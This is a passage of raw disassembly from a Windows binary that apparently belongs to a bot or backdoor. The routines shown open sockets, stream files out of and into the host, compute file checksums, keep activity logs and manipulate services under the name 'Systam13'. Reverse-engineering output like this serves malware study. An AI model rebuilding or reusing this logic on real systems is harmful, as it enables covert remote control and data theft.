eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43F618 call dword_43F63C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43F630 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43F5E4 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43F69C push [ebp+var_4] call dword_43F69C push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+4490p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_444340 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_444EC0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_444340[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_444358[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_4313B4 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_444340 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_444EC0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2610000h mov ebx, offset dword_443A34 mov edi, 80h mov esi, offset dword_43FA34 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43FA34 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_443A34 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43FA34 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43FA34 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25F0973h pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; sub_40E6A9+346p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43F61C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43F68C jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43F5D4 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43F644 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43F6E8 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43F6A8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43F6EC test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43F610 cmp eax, esi jnz short loc_40C34B push edi call dword_43F700 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 25F0973h nop loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_43C80C push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push esi call near ptr 25F0973h nop loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h nop call near ptr 2600833h xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43F680 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h nop call near ptr 2600833h push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 25F0973h sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Eo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43F668 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43F694 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43F60C push [ebp+var_2E] call dword_43F5A4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43F690 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 2640000h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax call near ptr 2680000h nop mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 push eax call dword_43F664 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43F650 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43F6FC cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43F700 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call near ptr 26B102Ah nop lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 26210C4h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43F6B8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43F680 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] nop call near ptr 2621910h push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43F6F4 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43F700 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push esi nop call near ptr 25F0973h loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax call near ptr 2600889h nop lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 2640000h cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 2621910h lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43F664 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43F6B8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43F700 push [ebp+var_1C] call sub_417078 pop ecx push 1 call near ptr 25F0973h nop loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43F700 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417078 pop ecx push ebx call near ptr 25F0973h nop sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+3820o ; sub_40EE72+3F6Fo var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h 